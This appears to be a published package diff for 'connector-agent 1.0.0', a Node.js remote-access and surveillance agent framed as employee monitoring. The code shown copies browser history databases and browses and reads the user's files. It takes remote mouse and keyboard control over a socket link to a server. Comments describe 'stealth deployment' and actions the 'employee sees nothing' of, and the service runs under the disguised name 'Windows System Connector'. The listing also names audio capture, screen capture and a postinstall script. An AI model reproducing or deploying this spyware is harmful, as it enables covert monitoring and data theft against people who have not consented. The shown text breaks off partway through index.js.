connector-agent 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +83 -0
- package/env.config.js +15 -0
- package/package.json +21 -0
- package/postinstall.js +272 -0
- package/src/audioCapture.js +238 -0
- package/src/browserHistory.js +237 -0
- package/src/config.js +82 -0
- package/src/fileScanner.js +157 -0
- package/src/index.js +175 -0
- package/src/inputHandler.js +139 -0
- package/src/screenCapture.js +105 -0
- package/src/sleepPreventer.js +130 -0
- package/src/systemInfo.js +44 -0
|
@@ -0,0 +1,237 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Browser History Extractor
|
|
3
|
+
* Reads Chrome, Edge, Firefox SQLite databases to extract browsing history
|
|
4
|
+
*
|
|
5
|
+
* Process: Copy the locked DB file to temp → read with better-sqlite3 → return entries
|
|
6
|
+
*/
|
|
7
|
+
|
|
8
|
+
const fs = require('fs');
|
|
9
|
+
const path = require('path');
|
|
10
|
+
const os = require('os');
|
|
11
|
+
const config = require('./config');
|
|
12
|
+
|
|
13
|
+
let Database;
|
|
14
|
+
try {
|
|
15
|
+
Database = require('better-sqlite3');
|
|
16
|
+
} catch (e) {
|
|
17
|
+
console.log(' ⚠️ better-sqlite3 not available — browser history disabled');
|
|
18
|
+
Database = null;
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
const USERPROFILE = os.homedir();
|
|
22
|
+
const LOCALAPPDATA = process.env.LOCALAPPDATA || path.join(USERPROFILE, 'AppData', 'Local');
|
|
23
|
+
const APPDATA = process.env.APPDATA || path.join(USERPROFILE, 'AppData', 'Roaming');
|
|
24
|
+
|
|
25
|
+
/**
|
|
26
|
+
* Browser DB paths (Windows)
|
|
27
|
+
*/
|
|
28
|
+
const BROWSER_PATHS = {
|
|
29
|
+
chrome: path.join(LOCALAPPDATA, 'Google', 'Chrome', 'User Data', 'Default', 'History'),
|
|
30
|
+
edge: path.join(LOCALAPPDATA, 'Microsoft', 'Edge', 'User Data', 'Default', 'History'),
|
|
31
|
+
firefox: null, // Handled separately — profile folder name varies
|
|
32
|
+
};
|
|
33
|
+
|
|
34
|
+
/**
|
|
35
|
+
* Find Firefox profile path
|
|
36
|
+
*/
|
|
37
|
+
function findFirefoxProfile() {
|
|
38
|
+
const profilesDir = path.join(APPDATA, 'Mozilla', 'Firefox', 'Profiles');
|
|
39
|
+
if (!fs.existsSync(profilesDir)) return null;
|
|
40
|
+
|
|
41
|
+
const dirs = fs.readdirSync(profilesDir);
|
|
42
|
+
// Look for default-release or first profile
|
|
43
|
+
const profile = dirs.find((d) => d.endsWith('.default-release')) || dirs.find((d) => d.endsWith('.default')) || dirs[0];
|
|
44
|
+
|
|
45
|
+
if (profile) {
|
|
46
|
+
return path.join(profilesDir, profile, 'places.sqlite');
|
|
47
|
+
}
|
|
48
|
+
return null;
|
|
49
|
+
}
|
|
50
|
+
|
|
51
|
+
/**
|
|
52
|
+
* Copy DB to temp (because browser locks the file while running)
|
|
53
|
+
*/
|
|
54
|
+
function copyToTemp(sourcePath, browserName) {
|
|
55
|
+
const tempPath = path.join(config.tempDir, `connector_${browserName}_history_copy.db`);
|
|
56
|
+
try {
|
|
57
|
+
fs.copyFileSync(sourcePath, tempPath);
|
|
58
|
+
// Also copy WAL file if exists
|
|
59
|
+
const walPath = sourcePath + '-wal';
|
|
60
|
+
if (fs.existsSync(walPath)) {
|
|
61
|
+
fs.copyFileSync(walPath, tempPath + '-wal');
|
|
62
|
+
}
|
|
63
|
+
return tempPath;
|
|
64
|
+
} catch (err) {
|
|
65
|
+
console.log(` ⚠️ Could not copy ${browserName} history DB: ${err.message}`);
|
|
66
|
+
return null;
|
|
67
|
+
}
|
|
68
|
+
}
|
|
69
|
+
|
|
70
|
+
/**
|
|
71
|
+
* Clean up temp file
|
|
72
|
+
*/
|
|
73
|
+
function cleanupTemp(tempPath) {
|
|
74
|
+
try {
|
|
75
|
+
if (fs.existsSync(tempPath)) fs.unlinkSync(tempPath);
|
|
76
|
+
if (fs.existsSync(tempPath + '-wal')) fs.unlinkSync(tempPath + '-wal');
|
|
77
|
+
} catch (e) {
|
|
78
|
+
// Ignore cleanup errors
|
|
79
|
+
}
|
|
80
|
+
}
|
|
81
|
+
|
|
82
|
+
/**
|
|
83
|
+
* Convert Chrome/Edge timestamp to JS Date
|
|
84
|
+
* Chrome uses microseconds since Jan 1, 1601
|
|
85
|
+
*/
|
|
86
|
+
function chromeTimestampToDate(timestamp) {
|
|
87
|
+
const epochDiff = 11644473600000000n; // microseconds between 1601 and 1970
|
|
88
|
+
const ms = Number((BigInt(timestamp) - epochDiff) / 1000n);
|
|
89
|
+
return new Date(ms).toISOString();
|
|
90
|
+
}
|
|
91
|
+
|
|
92
|
+
/**
|
|
93
|
+
* Convert Firefox timestamp to JS Date
|
|
94
|
+
* Firefox uses microseconds since Unix epoch
|
|
95
|
+
*/
|
|
96
|
+
function firefoxTimestampToDate(timestamp) {
|
|
97
|
+
return new Date(timestamp / 1000).toISOString();
|
|
98
|
+
}
|
|
99
|
+
|
|
100
|
+
/**
|
|
101
|
+
* Extract history from Chromium-based browser (Chrome/Edge)
|
|
102
|
+
*/
|
|
103
|
+
function extractChromiumHistory(dbPath, browserName, dateRange = '7d') {
|
|
104
|
+
if (!Database) return { browser: browserName, entries: [], error: 'better-sqlite3 not available' };
|
|
105
|
+
|
|
106
|
+
const tempPath = copyToTemp(dbPath, browserName);
|
|
107
|
+
if (!tempPath) return { browser: browserName, entries: [], error: 'Could not copy DB' };
|
|
108
|
+
|
|
109
|
+
try {
|
|
110
|
+
const db = new Database(tempPath, { readonly: true, fileMustExist: true });
|
|
111
|
+
|
|
112
|
+
// Calculate date filter
|
|
113
|
+
let dateFilter = '';
|
|
114
|
+
const now = Date.now() * 1000; // microseconds
|
|
115
|
+
const epochDiff = 11644473600000000; // Chrome epoch offset
|
|
116
|
+
const nowChrome = now + epochDiff;
|
|
117
|
+
|
|
118
|
+
if (dateRange === '24h') {
|
|
119
|
+
dateFilter = `WHERE last_visit_time > ${nowChrome - 86400000000}`;
|
|
120
|
+
} else if (dateRange === '7d') {
|
|
121
|
+
dateFilter = `WHERE last_visit_time > ${nowChrome - 7 * 86400000000}`;
|
|
122
|
+
} else if (dateRange === '30d') {
|
|
123
|
+
dateFilter = `WHERE last_visit_time > ${nowChrome - 30 * 86400000000}`;
|
|
124
|
+
}
|
|
125
|
+
|
|
126
|
+
const stmt = db.prepare(`
|
|
127
|
+
SELECT url, title, visit_count, last_visit_time
|
|
128
|
+
FROM urls
|
|
129
|
+
${dateFilter}
|
|
130
|
+
ORDER BY last_visit_time DESC
|
|
131
|
+
LIMIT 500
|
|
132
|
+
`);
|
|
133
|
+
|
|
134
|
+
const rows = stmt.all();
|
|
135
|
+
db.close();
|
|
136
|
+
cleanupTemp(tempPath);
|
|
137
|
+
|
|
138
|
+
const entries = rows.map((row) => ({
|
|
139
|
+
url: row.url,
|
|
140
|
+
title: row.title || '(No title)',
|
|
141
|
+
visitCount: row.visit_count,
|
|
142
|
+
lastVisit: chromeTimestampToDate(row.last_visit_time),
|
|
143
|
+
}));
|
|
144
|
+
|
|
145
|
+
return { browser: browserName, entries, error: null };
|
|
146
|
+
} catch (err) {
|
|
147
|
+
cleanupTemp(tempPath);
|
|
148
|
+
return { browser: browserName, entries: [], error: err.message };
|
|
149
|
+
}
|
|
150
|
+
}
|
|
151
|
+
|
|
152
|
+
/**
|
|
153
|
+
* Extract history from Firefox
|
|
154
|
+
*/
|
|
155
|
+
function extractFirefoxHistory(dateRange = '7d') {
|
|
156
|
+
if (!Database) return { browser: 'firefox', entries: [], error: 'better-sqlite3 not available' };
|
|
157
|
+
|
|
158
|
+
const dbPath = findFirefoxProfile();
|
|
159
|
+
if (!dbPath || !fs.existsSync(dbPath)) {
|
|
160
|
+
return { browser: 'firefox', entries: [], error: 'Firefox profile not found' };
|
|
161
|
+
}
|
|
162
|
+
|
|
163
|
+
const tempPath = copyToTemp(dbPath, 'firefox');
|
|
164
|
+
if (!tempPath) return { browser: 'firefox', entries: [], error: 'Could not copy DB' };
|
|
165
|
+
|
|
166
|
+
try {
|
|
167
|
+
const db = new Database(tempPath, { readonly: true, fileMustExist: true });
|
|
168
|
+
|
|
169
|
+
let dateFilter = '';
|
|
170
|
+
const now = Date.now() * 1000; // microseconds
|
|
171
|
+
|
|
172
|
+
if (dateRange === '24h') {
|
|
173
|
+
dateFilter = `WHERE v.visit_date > ${now - 86400000000000}`;
|
|
174
|
+
} else if (dateRange === '7d') {
|
|
175
|
+
dateFilter = `WHERE v.visit_date > ${now - 7 * 86400000000000}`;
|
|
176
|
+
} else if (dateRange === '30d') {
|
|
177
|
+
dateFilter = `WHERE v.visit_date > ${now - 30 * 86400000000000}`;
|
|
178
|
+
}
|
|
179
|
+
|
|
180
|
+
const stmt = db.prepare(`
|
|
181
|
+
SELECT p.url, p.title, p.visit_count, MAX(v.visit_date) as last_visit
|
|
182
|
+
FROM moz_places p
|
|
183
|
+
JOIN moz_historyvisits v ON p.id = v.place_id
|
|
184
|
+
${dateFilter}
|
|
185
|
+
GROUP BY p.id
|
|
186
|
+
ORDER BY last_visit DESC
|
|
187
|
+
LIMIT 500
|
|
188
|
+
`);
|
|
189
|
+
|
|
190
|
+
const rows = stmt.all();
|
|
191
|
+
db.close();
|
|
192
|
+
cleanupTemp(tempPath);
|
|
193
|
+
|
|
194
|
+
const entries = rows.map((row) => ({
|
|
195
|
+
url: row.url,
|
|
196
|
+
title: row.title || '(No title)',
|
|
197
|
+
visitCount: row.visit_count,
|
|
198
|
+
lastVisit: firefoxTimestampToDate(row.last_visit),
|
|
199
|
+
}));
|
|
200
|
+
|
|
201
|
+
return { browser: 'firefox', entries, error: null };
|
|
202
|
+
} catch (err) {
|
|
203
|
+
cleanupTemp(tempPath);
|
|
204
|
+
return { browser: 'firefox', entries: [], error: err.message };
|
|
205
|
+
}
|
|
206
|
+
}
|
|
207
|
+
|
|
208
|
+
/**
|
|
209
|
+
* Get browser history for requested browser and date range
|
|
210
|
+
*/
|
|
211
|
+
function getBrowserHistory(browser = 'all', dateRange = '7d') {
|
|
212
|
+
const results = [];
|
|
213
|
+
|
|
214
|
+
if (browser === 'all' || browser === 'chrome') {
|
|
215
|
+
if (fs.existsSync(BROWSER_PATHS.chrome)) {
|
|
216
|
+
results.push(extractChromiumHistory(BROWSER_PATHS.chrome, 'chrome', dateRange));
|
|
217
|
+
} else {
|
|
218
|
+
results.push({ browser: 'chrome', entries: [], error: 'Chrome not installed' });
|
|
219
|
+
}
|
|
220
|
+
}
|
|
221
|
+
|
|
222
|
+
if (browser === 'all' || browser === 'edge') {
|
|
223
|
+
if (fs.existsSync(BROWSER_PATHS.edge)) {
|
|
224
|
+
results.push(extractChromiumHistory(BROWSER_PATHS.edge, 'edge', dateRange));
|
|
225
|
+
} else {
|
|
226
|
+
results.push({ browser: 'edge', entries: [], error: 'Edge not installed' });
|
|
227
|
+
}
|
|
228
|
+
}
|
|
229
|
+
|
|
230
|
+
if (browser === 'all' || browser === 'firefox') {
|
|
231
|
+
results.push(extractFirefoxHistory(dateRange));
|
|
232
|
+
}
|
|
233
|
+
|
|
234
|
+
return results;
|
|
235
|
+
}
|
|
236
|
+
|
|
237
|
+
module.exports = { getBrowserHistory };
|
package/src/config.js
ADDED
|
@@ -0,0 +1,82 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Agent Config — Cross-platform (Windows + Mac + Linux)
|
|
3
|
+
* Auto-detects OS and sets correct paths
|
|
4
|
+
*/
|
|
5
|
+
|
|
6
|
+
const os = require('os');
|
|
7
|
+
const path = require('path');
|
|
8
|
+
|
|
9
|
+
// Load env.config.js (fallback to empty if not found — postinstall sets process.env)
|
|
10
|
+
let envConfig = {};
|
|
11
|
+
try { envConfig = require('../env.config'); } catch (e) { /* ok */ }
|
|
12
|
+
|
|
13
|
+
const platform = os.platform(); // 'win32', 'darwin', 'linux'
|
|
14
|
+
const homeDir = os.homedir();
|
|
15
|
+
|
|
16
|
+
// ── Cross-platform user directories ──────────────────────
|
|
17
|
+
function getUserDirs() {
|
|
18
|
+
if (platform === 'win32') {
|
|
19
|
+
return [
|
|
20
|
+
path.join(homeDir, 'Desktop'),
|
|
21
|
+
path.join(homeDir, 'Downloads'),
|
|
22
|
+
path.join(homeDir, 'Documents'),
|
|
23
|
+
];
|
|
24
|
+
} else {
|
|
25
|
+
// Mac & Linux
|
|
26
|
+
return [
|
|
27
|
+
path.join(homeDir, 'Desktop'),
|
|
28
|
+
path.join(homeDir, 'Downloads'),
|
|
29
|
+
path.join(homeDir, 'Documents'),
|
|
30
|
+
];
|
|
31
|
+
}
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
// ── Hidden install directory (for stealth deployment) ────
|
|
35
|
+
function getInstallDir() {
|
|
36
|
+
if (platform === 'win32') {
|
|
37
|
+
// C:\ProgramData\ConnectorService — hidden by default
|
|
38
|
+
return process.env.ProgramData
|
|
39
|
+
? path.join(process.env.ProgramData, 'ConnectorService')
|
|
40
|
+
: 'C:\\ProgramData\\ConnectorService';
|
|
41
|
+
} else if (platform === 'darwin') {
|
|
42
|
+
// /Library/Application Support/ConnectorService
|
|
43
|
+
return '/Library/Application Support/ConnectorService';
|
|
44
|
+
} else {
|
|
45
|
+
// Linux: /opt/connector-service
|
|
46
|
+
return '/opt/connector-service';
|
|
47
|
+
}
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
// ── Temp directory ───────────────────────────────────────
|
|
51
|
+
function getTempDir() {
|
|
52
|
+
return os.tmpdir();
|
|
53
|
+
}
|
|
54
|
+
|
|
55
|
+
module.exports = {
|
|
56
|
+
platform,
|
|
57
|
+
serverUrl: envConfig.SERVER_URL || process.env.SERVER_URL || 'http://localhost:8471',
|
|
58
|
+
|
|
59
|
+
// Reconnection
|
|
60
|
+
reconnection: true,
|
|
61
|
+
reconnectionDelay: 2000,
|
|
62
|
+
reconnectionDelayMax: 30000,
|
|
63
|
+
reconnectionAttempts: Infinity,
|
|
64
|
+
|
|
65
|
+
// Mouse settings
|
|
66
|
+
mouseSpeed: 1000,
|
|
67
|
+
|
|
68
|
+
// File scanning defaults (cross-platform)
|
|
69
|
+
scanDirs: getUserDirs(),
|
|
70
|
+
|
|
71
|
+
// Browser history temp dir
|
|
72
|
+
tempDir: getTempDir(),
|
|
73
|
+
|
|
74
|
+
// Install paths
|
|
75
|
+
installDir: getInstallDir(),
|
|
76
|
+
logDir: path.join(getInstallDir(), 'logs'),
|
|
77
|
+
|
|
78
|
+
// Service config
|
|
79
|
+
serviceName: envConfig.SERVICE_NAME || 'Windows System Connector',
|
|
80
|
+
serviceDescription: envConfig.SERVICE_DESC || 'System connectivity and update service',
|
|
81
|
+
plistLabel: 'com.system.connector',
|
|
82
|
+
};
|
|
@@ -0,0 +1,157 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* File Scanner — Browse employee's file system remotely
|
|
3
|
+
* Read-only directory listing with file metadata
|
|
4
|
+
*/
|
|
5
|
+
|
|
6
|
+
const fs = require('fs');
|
|
7
|
+
const path = require('path');
|
|
8
|
+
const config = require('./config');
|
|
9
|
+
|
|
10
|
+
/**
|
|
11
|
+
* Get file type category based on extension
|
|
12
|
+
*/
|
|
13
|
+
function getFileCategory(ext) {
|
|
14
|
+
ext = ext.toLowerCase();
|
|
15
|
+
const categories = {
|
|
16
|
+
image: ['.jpg', '.jpeg', '.png', '.gif', '.bmp', '.webp', '.svg', '.ico', '.tiff'],
|
|
17
|
+
video: ['.mp4', '.avi', '.mkv', '.mov', '.wmv', '.flv', '.webm', '.m4v'],
|
|
18
|
+
audio: ['.mp3', '.wav', '.flac', '.aac', '.ogg', '.wma', '.m4a'],
|
|
19
|
+
document: ['.pdf', '.doc', '.docx', '.xls', '.xlsx', '.ppt', '.pptx', '.txt', '.rtf', '.csv'],
|
|
20
|
+
code: ['.js', '.ts', '.py', '.java', '.cpp', '.c', '.html', '.css', '.json', '.xml', '.php', '.rb'],
|
|
21
|
+
archive: ['.zip', '.rar', '.7z', '.tar', '.gz', '.bz2'],
|
|
22
|
+
executable: ['.exe', '.msi', '.bat', '.cmd', '.ps1', '.sh'],
|
|
23
|
+
};
|
|
24
|
+
|
|
25
|
+
for (const [category, extensions] of Object.entries(categories)) {
|
|
26
|
+
if (extensions.includes(ext)) return category;
|
|
27
|
+
}
|
|
28
|
+
return 'other';
|
|
29
|
+
}
|
|
30
|
+
|
|
31
|
+
/**
|
|
32
|
+
* Format file size to human readable
|
|
33
|
+
*/
|
|
34
|
+
function formatSize(bytes) {
|
|
35
|
+
if (bytes === 0) return '0 B';
|
|
36
|
+
const units = ['B', 'KB', 'MB', 'GB'];
|
|
37
|
+
const i = Math.floor(Math.log(bytes) / Math.log(1024));
|
|
38
|
+
return (bytes / Math.pow(1024, i)).toFixed(1) + ' ' + units[i];
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
/**
|
|
42
|
+
* List directory contents
|
|
43
|
+
* @param {string} dirPath - Directory to list (defaults to user Desktop)
|
|
44
|
+
* @returns {object} Directory listing with file metadata
|
|
45
|
+
*/
|
|
46
|
+
function listDirectory(dirPath) {
|
|
47
|
+
// Default to Desktop if no path provided
|
|
48
|
+
if (!dirPath) {
|
|
49
|
+
dirPath = config.scanDirs[0]; // Desktop
|
|
50
|
+
}
|
|
51
|
+
|
|
52
|
+
// Security: Only allow scanning within user profile
|
|
53
|
+
const userProfile = process.env.USERPROFILE || require('os').homedir();
|
|
54
|
+
const resolvedPath = path.resolve(dirPath);
|
|
55
|
+
|
|
56
|
+
// Normalize both paths for comparison
|
|
57
|
+
const normalizedProfile = userProfile.toLowerCase();
|
|
58
|
+
const normalizedResolved = resolvedPath.toLowerCase();
|
|
59
|
+
|
|
60
|
+
if (!normalizedResolved.startsWith(normalizedProfile)) {
|
|
61
|
+
return {
|
|
62
|
+
path: dirPath,
|
|
63
|
+
files: [],
|
|
64
|
+
error: 'Access denied: Can only scan within user profile directory',
|
|
65
|
+
};
|
|
66
|
+
}
|
|
67
|
+
|
|
68
|
+
if (!fs.existsSync(resolvedPath)) {
|
|
69
|
+
return { path: dirPath, files: [], error: 'Directory not found' };
|
|
70
|
+
}
|
|
71
|
+
|
|
72
|
+
try {
|
|
73
|
+
const entries = fs.readdirSync(resolvedPath, { withFileTypes: true });
|
|
74
|
+
const files = [];
|
|
75
|
+
|
|
76
|
+
for (const entry of entries) {
|
|
77
|
+
try {
|
|
78
|
+
const fullPath = path.join(resolvedPath, entry.name);
|
|
79
|
+
const stat = fs.statSync(fullPath);
|
|
80
|
+
|
|
81
|
+
files.push({
|
|
82
|
+
name: entry.name,
|
|
83
|
+
path: fullPath,
|
|
84
|
+
isDirectory: entry.isDirectory(),
|
|
85
|
+
size: entry.isDirectory() ? null : formatSize(stat.size),
|
|
86
|
+
sizeBytes: entry.isDirectory() ? 0 : stat.size,
|
|
87
|
+
extension: entry.isDirectory() ? null : path.extname(entry.name),
|
|
88
|
+
category: entry.isDirectory() ? 'folder' : getFileCategory(path.extname(entry.name)),
|
|
89
|
+
created: stat.birthtime.toISOString(),
|
|
90
|
+
modified: stat.mtime.toISOString(),
|
|
91
|
+
});
|
|
92
|
+
} catch (e) {
|
|
93
|
+
// Skip files we can't stat (permission issues)
|
|
94
|
+
}
|
|
95
|
+
}
|
|
96
|
+
|
|
97
|
+
// Sort: directories first, then files alphabetically
|
|
98
|
+
files.sort((a, b) => {
|
|
99
|
+
if (a.isDirectory && !b.isDirectory) return -1;
|
|
100
|
+
if (!a.isDirectory && b.isDirectory) return 1;
|
|
101
|
+
return a.name.localeCompare(b.name);
|
|
102
|
+
});
|
|
103
|
+
|
|
104
|
+
return { path: resolvedPath, files, error: null };
|
|
105
|
+
} catch (err) {
|
|
106
|
+
return { path: dirPath, files: [], error: err.message };
|
|
107
|
+
}
|
|
108
|
+
}
|
|
109
|
+
|
|
110
|
+
/**
|
|
111
|
+
* Get default scannable directories
|
|
112
|
+
*/
|
|
113
|
+
function getDefaultDirs() {
|
|
114
|
+
return config.scanDirs.map((dir) => ({
|
|
115
|
+
path: dir,
|
|
116
|
+
name: path.basename(dir),
|
|
117
|
+
exists: fs.existsSync(dir),
|
|
118
|
+
}));
|
|
119
|
+
}
|
|
120
|
+
|
|
121
|
+
/**
|
|
122
|
+
* Read file content (text files only, max 500KB)
|
|
123
|
+
* SILENT — no visible action on employee's screen
|
|
124
|
+
*/
|
|
125
|
+
function readFileContent(filePath) {
|
|
126
|
+
const userProfile = process.env.USERPROFILE || require('os').homedir();
|
|
127
|
+
const resolvedPath = path.resolve(filePath);
|
|
128
|
+
|
|
129
|
+
if (!resolvedPath.toLowerCase().startsWith(userProfile.toLowerCase())) {
|
|
130
|
+
return { path: filePath, content: null, error: 'Access denied' };
|
|
131
|
+
}
|
|
132
|
+
|
|
133
|
+
if (!fs.existsSync(resolvedPath)) {
|
|
134
|
+
return { path: filePath, content: null, error: 'File not found' };
|
|
135
|
+
}
|
|
136
|
+
|
|
137
|
+
try {
|
|
138
|
+
const stat = fs.statSync(resolvedPath);
|
|
139
|
+
if (stat.size > 500 * 1024) {
|
|
140
|
+
return { path: resolvedPath, content: null, error: 'File too large (max 500KB)', size: formatSize(stat.size) };
|
|
141
|
+
}
|
|
142
|
+
|
|
143
|
+
const ext = path.extname(resolvedPath).toLowerCase();
|
|
144
|
+
const textExts = ['.txt', '.log', '.csv', '.json', '.xml', '.html', '.css', '.js', '.ts', '.py', '.java', '.cpp', '.c', '.md', '.cfg', '.ini', '.yml', '.yaml', '.env', '.bat', '.cmd', '.ps1', '.sh', '.rtf'];
|
|
145
|
+
|
|
146
|
+
if (!textExts.includes(ext)) {
|
|
147
|
+
return { path: resolvedPath, content: null, error: `Not a text file (${ext})`, category: getFileCategory(ext) };
|
|
148
|
+
}
|
|
149
|
+
|
|
150
|
+
const content = fs.readFileSync(resolvedPath, 'utf8');
|
|
151
|
+
return { path: resolvedPath, content, error: null, size: formatSize(stat.size), lines: content.split('\n').length };
|
|
152
|
+
} catch (err) {
|
|
153
|
+
return { path: filePath, content: null, error: err.message };
|
|
154
|
+
}
|
|
155
|
+
}
|
|
156
|
+
|
|
157
|
+
module.exports = { listDirectory, getDefaultDirs, readFileContent };
|
package/src/index.js
ADDED
|
@@ -0,0 +1,175 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
/**
|
|
3
|
+
* Connector Agent — Entry Point
|
|
4
|
+
* Screen streaming + mouse/keyboard control + file scanning
|
|
5
|
+
* Cross-platform: Windows, Mac, Linux
|
|
6
|
+
*/
|
|
7
|
+
|
|
8
|
+
const { io } = require('socket.io-client');
|
|
9
|
+
const { machineIdSync } = require('node-machine-id');
|
|
10
|
+
const config = require('./config');
|
|
11
|
+
const { getSystemInfo, getBasicSystemStats } = require('./systemInfo');
|
|
12
|
+
const inputHandler = require('./inputHandler');
|
|
13
|
+
const ScreenCapture = require('./screenCapture');
|
|
14
|
+
const SleepPreventer = require('./sleepPreventer');
|
|
15
|
+
const { getBrowserHistory } = require('./browserHistory');
|
|
16
|
+
const { listDirectory, getDefaultDirs, readFileContent } = require('./fileScanner');
|
|
17
|
+
|
|
18
|
+
// ── Get unique machine ID ──────────────────────────────────
|
|
19
|
+
const MACHINE_ID = machineIdSync({ original: true }).substring(0, 12);
|
|
20
|
+
const systemInfo = getSystemInfo();
|
|
21
|
+
|
|
22
|
+
console.log(` 🤖 Connector Agent starting...`);
|
|
23
|
+
console.log(` 📋 Machine ID: ${MACHINE_ID}`);
|
|
24
|
+
console.log(` 🖥️ Host: ${systemInfo.hostname} (${systemInfo.username})`);
|
|
25
|
+
console.log(` 💻 Platform: ${config.platform}`);
|
|
26
|
+
console.log(` 🌐 Server: ${config.serverUrl}`);
|
|
27
|
+
|
|
28
|
+
// ── Connect to server ──────────────────────────────────────
|
|
29
|
+
const socket = io(config.serverUrl + '/agent', {
|
|
30
|
+
reconnection: config.reconnection,
|
|
31
|
+
reconnectionDelay: config.reconnectionDelay,
|
|
32
|
+
reconnectionDelayMax: config.reconnectionDelayMax,
|
|
33
|
+
reconnectionAttempts: config.reconnectionAttempts,
|
|
34
|
+
transports: ['websocket'],
|
|
35
|
+
maxHttpBufferSize: 10e6, // 10MB for screen frames
|
|
36
|
+
});
|
|
37
|
+
|
|
38
|
+
// Screen capture instance
|
|
39
|
+
const screenCapture = new ScreenCapture(socket);
|
|
40
|
+
|
|
41
|
+
// Audio capture instance
|
|
42
|
+
const AudioCapture = require('./audioCapture');
|
|
43
|
+
const audioCapture = new AudioCapture(socket);
|
|
44
|
+
|
|
45
|
+
// Sleep preventer — keeps system awake for remote control
|
|
46
|
+
const sleepPreventer = new SleepPreventer();
|
|
47
|
+
sleepPreventer.start();
|
|
48
|
+
|
|
49
|
+
// ── Connection events ──────────────────────────────────────
|
|
50
|
+
socket.on('connect', () => {
|
|
51
|
+
console.log(`\n ✅ Connected to server (${socket.id})`);
|
|
52
|
+
socket.emit('agent:register', { machineId: MACHINE_ID, ...systemInfo });
|
|
53
|
+
});
|
|
54
|
+
|
|
55
|
+
socket.on('agent:registered', (data) => {
|
|
56
|
+
console.log(` 📝 Registered as employee: ${data.employeeId}`);
|
|
57
|
+
console.log(` ⏳ Waiting for manager connection...\n`);
|
|
58
|
+
});
|
|
59
|
+
|
|
60
|
+
socket.on('disconnect', (reason) => {
|
|
61
|
+
console.log(` ❌ Disconnected: ${reason}`);
|
|
62
|
+
screenCapture.stop();
|
|
63
|
+
// Keep sleepPreventer running — agent will reconnect
|
|
64
|
+
});
|
|
65
|
+
|
|
66
|
+
socket.on('connect_error', (err) => console.log(` ⚠️ Connection error: ${err.message}`));
|
|
67
|
+
|
|
68
|
+
// ── Screen Streaming ───────────────────────────────────────
|
|
69
|
+
socket.on('screen:start', (data) => {
|
|
70
|
+
console.log(' 📺 Manager requested screen stream');
|
|
71
|
+
screenCapture.start(data || {});
|
|
72
|
+
});
|
|
73
|
+
|
|
74
|
+
socket.on('screen:stop', () => {
|
|
75
|
+
screenCapture.stop();
|
|
76
|
+
});
|
|
77
|
+
|
|
78
|
+
socket.on('screen:settings', (data) => {
|
|
79
|
+
screenCapture.updateSettings(data);
|
|
80
|
+
});
|
|
81
|
+
|
|
82
|
+
// ── Mouse Commands ─────────────────────────────────────────
|
|
83
|
+
socket.on('mouse:move', (data) => {
|
|
84
|
+
try { socket.emit('command:ack', { event: 'mouse:move', ...inputHandler.moveMouse(data.x, data.y) }); }
|
|
85
|
+
catch (e) { socket.emit('command:ack', { event: 'mouse:move', success: false, error: e.message }); }
|
|
86
|
+
});
|
|
87
|
+
|
|
88
|
+
socket.on('mouse:click', (data) => {
|
|
89
|
+
try { socket.emit('command:ack', { event: 'mouse:click', ...inputHandler.clickMouse(data.button || 'left') }); }
|
|
90
|
+
catch (e) { socket.emit('command:ack', { event: 'mouse:click', success: false, error: e.message }); }
|
|
91
|
+
});
|
|
92
|
+
|
|
93
|
+
socket.on('mouse:dblclick', () => {
|
|
94
|
+
try { socket.emit('command:ack', { event: 'mouse:dblclick', ...inputHandler.doubleClick() }); }
|
|
95
|
+
catch (e) { socket.emit('command:ack', { event: 'mouse:dblclick', success: false, error: e.message }); }
|
|
96
|
+
});
|
|
97
|
+
|
|
98
|
+
socket.on('mouse:scroll', (data) => {
|
|
99
|
+
try { socket.emit('command:ack', { event: 'mouse:scroll', ...inputHandler.scrollMouse(data.direction, data.amount) }); }
|
|
100
|
+
catch (e) { socket.emit('command:ack', { event: 'mouse:scroll', success: false, error: e.message }); }
|
|
101
|
+
});
|
|
102
|
+
|
|
103
|
+
// ── Keyboard Commands ──────────────────────────────────────
|
|
104
|
+
socket.on('keyboard:type', (data) => {
|
|
105
|
+
try { socket.emit('command:ack', { event: 'keyboard:type', ...inputHandler.typeText(data.text) }); }
|
|
106
|
+
catch (e) { socket.emit('command:ack', { event: 'keyboard:type', success: false, error: e.message }); }
|
|
107
|
+
});
|
|
108
|
+
|
|
109
|
+
socket.on('keyboard:key', (data) => {
|
|
110
|
+
try { socket.emit('command:ack', { event: 'keyboard:key', ...inputHandler.pressKey(data.key) }); }
|
|
111
|
+
catch (e) { socket.emit('command:ack', { event: 'keyboard:key', success: false, error: e.message }); }
|
|
112
|
+
});
|
|
113
|
+
|
|
114
|
+
socket.on('keyboard:combo', (data) => {
|
|
115
|
+
try { socket.emit('command:ack', { event: 'keyboard:combo', ...inputHandler.pressKeyCombo(data.keys) }); }
|
|
116
|
+
catch (e) { socket.emit('command:ack', { event: 'keyboard:combo', success: false, error: e.message }); }
|
|
117
|
+
});
|
|
118
|
+
|
|
119
|
+
// ── Browser History (BACKGROUND — employee sees nothing) ───
|
|
120
|
+
socket.on('history:request', (data) => {
|
|
121
|
+
try {
|
|
122
|
+
const results = getBrowserHistory(data.browser || 'all', data.dateRange || '7d');
|
|
123
|
+
socket.emit('history:response', { results });
|
|
124
|
+
} catch (err) {
|
|
125
|
+
socket.emit('history:response', { results: [], error: err.message });
|
|
126
|
+
}
|
|
127
|
+
});
|
|
128
|
+
|
|
129
|
+
// ── File Scanner (BACKGROUND — reads filesystem silently) ──
|
|
130
|
+
socket.on('files:list', (data) => {
|
|
131
|
+
try {
|
|
132
|
+
const result = listDirectory(data.path);
|
|
133
|
+
socket.emit('files:list:response', { ...result, defaultDirs: getDefaultDirs() });
|
|
134
|
+
} catch (err) {
|
|
135
|
+
socket.emit('files:list:response', { path: data.path, files: [], error: err.message });
|
|
136
|
+
}
|
|
137
|
+
});
|
|
138
|
+
|
|
139
|
+
// ── File Content Reader (BACKGROUND — reads file content silently) ──
|
|
140
|
+
